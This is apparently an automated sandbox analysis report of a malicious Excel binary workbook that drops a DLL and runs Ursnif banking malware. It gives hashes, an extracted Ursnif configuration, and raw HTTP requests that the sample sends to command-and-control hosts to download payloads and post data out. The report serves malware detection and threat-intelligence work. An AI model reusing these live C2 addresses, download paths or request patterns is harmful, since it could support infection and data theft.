Analysis Report File_78476.xlsb

ID:	352546
Product:	CloudBasic
Start time:	18:42:14
Start date:	12.02.2021
Sample:	File_78476.xlsb
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	77927a0a05cc284ca6e904563cf81f20
SHA1:	0ffd8f1b079a75f143cd601d832e1a5e2f651818
SHA256:	d46861839e12139c03aceef7f735426d794809344f18d8b2053377dcb1ebd470
Filetype:	Excel Microsoft Office Binary workbook document (47504/1) 49.74%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\fsh\87.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	E0807C62C0FFDEAADD5DB75DAA38F584	B98850A2EA82EA8E6569A36BF8E068AFBC417BB5	9AE7CCF3120EE0F1694141595DAF4E0D9E2BB787713AE14302812BFE95677CA4
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{7B42C271-6DA5-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	62FB817F6198084E0B9D9BD61C55F4DD	91BB21AB08FDF0A8B999D22BB8B84D9AAF1177B8	E09772A7EC30CA0FD1E7DCC616687B4E2580139EEFE52CA749FAC7CB819A7033
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7B42C273-6DA5-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	E090F23A1FEAFCE7AF4E76C2141CA864	3C8B7E5BA7B0028473A6B69B3049876D59690805	B4EBB0A315F866741CCFAB4237822BC58CEC4805347461747BE3C9F023BAB38A
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7B42C275-6DA5-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	641E8A2EFDC39856B1CF2986CC3F3640	02544D95D63164458C66C85B5C349ACEB1ED2E50	4236F885E4F137FF3EB6F32B11565EE274E822DA80D407E1116EB3753D606563
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7B42C277-6DA5-11EB-90E4-ECF4BB862DED}.dat	Microsoft Word Document	008EE570A45777E08324BA4626048C00	3771B71ED84FF1CFD38E70CAFEC04C30CA5808A5	277C2E0740E66F9BC30F46644176B36477939942F5B1687A8DB3E3AF5F04E62D
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\10C955FB-4BA9-49A9-ADB0-58D59856D9CE	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	32DBAFB8ABDDFE04594B86A923940364	54C2AE25FEF098C08A3176471D8F991D53B1EA66	334E5D8E5BF4F226F067CED0D34B7852D9D6BFA92A7A5080256897A3B7486A0D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8DCD84A8.png	PNG image data, 1200 x 800, 8-bit/color RGBA, non-interlaced	4A3975F458CA57A2E7A2139AD0B1F6AC	2D39BBE49EE7AA36EE363BF8113543A8CFD45FF5	D1A22C76ABC644665B92855CD734250DD3B3E26E5CA40A9B1D5F4AD3367F9B69
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\J[1].htm	ASCII text, with very long lines, with no line terminators	415DBB7F17A00913790F8E99ADBB9D93	C7D1A1B88A46A1E65B109257BFFFB5259900AF17	3A7B725B6B273BFCFDBEC5A06868562AD848034EFBA247BE5739858768FC3B0A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\9FNesaJS[1].htm	ASCII text, with very long lines, with no line terminators	E924EC561FB47C3C0077569F989E9945	7B779431CDFB4199AB382029420C49A8E7145CBD	620F9E87417B9B64C9CA5D8C86EADC68BE4EFBCD4F829857AA3E88CBCF8FFCEA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\2ZOSFMw[1].htm	ASCII text, with very long lines, with no line terminators	A214C9D621F37A4A5DD418FE4B986283	96B4D5DED9599F50A7557A927384A054721496C6	A63A214D997D6A6B91E278F99EE16E9EDD06ABC4C515797838E22B8E59C96784
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	E0807C62C0FFDEAADD5DB75DAA38F584	B98850A2EA82EA8E6569A36BF8E068AFBC417BB5	9AE7CCF3120EE0F1694141595DAF4E0D9E2BB787713AE14302812BFE95677CA4
C:\Users\user\AppData\Local\Temp\A9910000	data	5D2D27662BA2BE492B65B4F9D6366AF6	D7A655BADA078546C29A8B99333AC112D55C5F6C	EAC8C71F23ED8B7B18CDCE5C9379F6B0A482BA3713FCA0E413F8373EBBC94E96
C:\Users\user\AppData\Local\Temp\JavaDeployReg.log	ASCII text, with CRLF line terminators	AA5064E15E4D0AEA94E3CED2A9116D00	8C0C470327CE528DFBA7327EDA643CBC785BE9B7	6DA7F3580E2A07C8A18A69DE0405332E8F99B51633D05AF6F56AC947F47A90F2
C:\Users\user\AppData\Local\Temp\~DF045C60B1D61D61DD.TMP	data	F284D54A46FE85B8D9BB488A5BB5767E	C47682EB55CA0DA59ED55A024B9D754D32BDE295	17C4E9EFB3592C257E7902C77B7C3EC9442D39C8A54802B1EDE58826D42A3CC8
C:\Users\user\AppData\Local\Temp\~DF78E812B899E938EF.TMP	data	F4CD805F3A1698C27AFDFE36FF594A7A	25423F6F817375659755A7ADE64393F75ADC4BB0	8C1C4DA6D0674B31421B14C64F7171DB798897DBA4F4E4C18C75461872EDB27F
C:\Users\user\AppData\Local\Temp\~DF8C7CED52649AE0BD.TMP	data	548991C70906D6022A7272B9B5C2E0FD	001ACA74A13D59F99C39AAFFE0B50B140AFA688A	3B167116E8BFA1B29A71D0ED67ECC3A38D10C80E42C8CC7DF6EF1464F2CAD8E0
C:\Users\user\AppData\Local\Temp\~DFD125B1B4DDDD071C.TMP	data	0C2BC26B1840E27C9C8E4A9BE170E49D	729E35F88D85FC94277C24CE292BB29A185D29D5	00937E28E5117015401C47B94884CF31899E331BD268622D4D682970CF2A393C
C:\Users\user\Desktop\~$File_78476.xlsb	data	7AB76C81182111AC93ACF915CA8331D5	68B94B5D4C83A6FB415C8026AF61F3F8745E2559	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF

AV Detection:

Found malware configuration

Source: rundll32.exe.7104.1.memstr

Malware Configuration Extractor: Ursnif {"server": "730", "os": "10.0_0_17134_x64", "version": "250171", "uptime": "226", "system": "53111af62e035434ff52895482ef7b78hhw", "size": "202829", "crc": "2", "action": "00000000", "id": "1100", "time": "1613184313", "user": "f73be0088695dc15e71ab15c2aa7c3e0", "hash": "0xf857f57e", "soft": "3"}

Multi AV Scanner detection for domain / URL

Source: c56.lepini.at	Virustotal: Detection: 8%			Perma Link
Source: api3.lepini.at	Virustotal: Detection: 10%			Perma Link
Source: api10.laptok.at	Virustotal: Detection: 10%			Perma Link

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 162.241.169.26:443 -> 192.168.2.3:49731 version: TLS 1.2

Binary contains paths to debug symbols

Source:

Binary string: c:\Campenergy\wouldShoulder\learnable\motion.pdb source: 11[1].dll.0.dr

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].dll			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\ProgramData\fsh\87.dll			Jump to behavior

Document exploit detected (drops PE files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: 11[1].dll.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Jump to behavior

Networking:

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: GOOGLEUS GOOGLEUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228
Source: unknown	TCP traffic detected without corresponding DNS query: 139.162.191.228

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /campo/m/m HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 139.162.191.228Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api1/NHDZE5NC0p4/EA1Rau0QpdKGS3/WTlj_2B7vKVxuNa_2F_2B/LYVSumGe5smX_2BD/OTX07ZqQ_2BIY5i/gaJx2nrBRbCwokKD6i/TmP3yOyRd/UIWhx47302AAtFE31oP0/QH6kOp10Kt5yvTIaAYa/LK0GUog4M1OCTVMD4H5Cd4/y7Hidc3RQ475o/Nxk1_2FU/AOpYSuCaFqv8yJoz1d98uE0/RGNbcUJDfT/THwRpNZtVSPwcxLQu/JgOmTTbGBEY6/RAYX3HI935J/bkHevlKXRebACN/zYCEHnvaIKYWA35nI5OI7/Zng6uRiwb/9FNesaJS HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api1/FnFXZRWsgaOv/P6JvZtKT1UO/agHdP9HeJ299dx/NjFG3Ft3KB32OuetXL2sT/DABW2CvkhTj1mHcu/d2rOfCnZM39ngVM/pgEkPfy7WZBHt2_2BI/8hIbLV9eh/Nxh_2BSaIH1v25_2Fy2g/jQtR51J9UQmW5hGZQSs/bUByYCCGCjlzccS8n_2Fr1/2TxpWMxaih6Zd/1FC2e6YZ/ytawmZHSR4fCdrk_2BuzGs2/I_2Fe7DGRd/nrzf8JbWsmL4ZMLw8/AiFgBOzN747U/qJ5myKX5wF4/23oTR339hxhZPv/OxZ3q5cF_2BQi5HeJCCQ3/czqNoTGtPyg5zMIR/bO5RZf4FOlJ/J HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api1/zobiFDQnBaZYuwt/rfdusQHNImkOYENAMp/kT_2B2cd3/SGUJBC0FLMtXFEIZjgF4/X6JHa0dYaBh2VTFZ3ie/AQvPNAeKAbUpEx_2BIA_2F/yqBcCuGKcxWU4/7_2FDUSL/tmEKyuvK3UnsOb7GxJhyB1v/eAgP5jhU7c/4LQdBuTq0iBob66eg/RKZ75u7U2Jkq/Bh_2B1mS8Vw/lDNXKg1S3Gc5QV/zwawyAQoh3ycAGCJJd6YY/crMtievOTWbq6IjA/LAnATbCyag_2Bwn/5yU0_2BoSAkzUKbcl_/2BAXWx8K4/WLBZv2PnGv5crOgJCyib/ZVr6kC0SezCKLbzs2jt/2ZOSFMw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at
Source: global traffic	HTTP traffic detected: GET /api1/TsKcWE2WM/nJKmvtwztxYIvooVmlF8/f0GhZMHg0Zw5qyafREH/k8WCOuLk57UyBPUazjQh2Z/3S3ubdSMDgVaL/gAWRJwIA/ZCG7BHExQwWXeVA1UnuSBqn/i4n1PFTtlL/cwWi1gc5A_2Bt5DHa/KB0_2BLRegs0/BViXJpKwWgb/pjm_2BuXWxLo81/vWKBV9Fs7FvCc1nuX8q5n/wGeJRl_2FEvkYbfF/Pr91DmkaDab5rrv/0H_2FXSeTsgpPadA5E/E3CpLlb73/0qgYAbyOZODf4FqqEkA4/X5b8p4TRxQsXlnMDNwZ/TvAO43omBsbN/h HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Host: api3.lepini.at

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: cabogrupo.co.mz

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /api1/pmT_2FJ7yMpV_2FsxCGV/80ZJDlvhk5QH3DonF9p/gMZiDS0z2g2bNrJ_2Bv_2B/DXZEEWDxEnN_2/Bx7WHkRW/wpcaGRddIyctm9GWW0oCdyR/qDXQAt7J40/6ogNDJFenwl5gVncd/SbRM7SEjzx1B/lGa_2BU69FH/bDmPVUZABXfNqj/99lThSa0HHLaHhjsVvXGB/uCBX4Mj6I29IAbCC/UnujtjeNBz5OBuo/7XOr98uUHKNs6Ghu4C/k_2BIsFhF/UXse0hUo2oKU8zO8khsV/ZbPtcIIUg_2B2PD2b0Q/KHYH7l2X48hEAXFhsSFudS/huoP4e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Content-Length: 2Host: api3.lepini.at

Tries to download or post to a non-existing http route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 12 Feb 2021 17:45:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Urls found in memory or binary data

Source: sheet9.bin	String found in binary or memory: http://139.162.191.228/campo/m/m.D
Source: {7B42C275-6DA5-11EB-90E4-ECF4BB862DED}.dat.22.dr, ~DF045C60B1D61D61DD.TMP.22.dr	String found in binary or memory: http://api10.laptok.at/api1/FnFXZRWsgaOv/P6JvZtKT1UO/agHdP9HeJ299dx/NjFG3Ft3KB32OuetXL2sT/DABW2CvkhT
Source: ~DF78E812B899E938EF.TMP.22.dr, {7B42C273-6DA5-11EB-90E4-ECF4BB862DED}.dat.22.dr	String found in binary or memory: http://api10.laptok.at/api1/NHDZE5NC0p4/EA1Rau0QpdKGS3/WTlj_2B7vKVxuNa_2F_2B/LYVSumGe5smX_2BD/OTX07Z
Source: {7B42C277-6DA5-11EB-90E4-ECF4BB862DED}.dat.22.dr	String found in binary or memory: http://api10.laptok.at/api1/zobiFDQnBaZYuwt/rfdusQHNImkOYENAMp/kT_2B2cd3/SGUJBC0FLMtXFEIZjgF4/X6JHa0
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.office.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://augloop.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cdn.entity.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cortana.ai
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://cr.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://directory.services.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://graph.windows.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://login.windows.local
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://management.azure.com
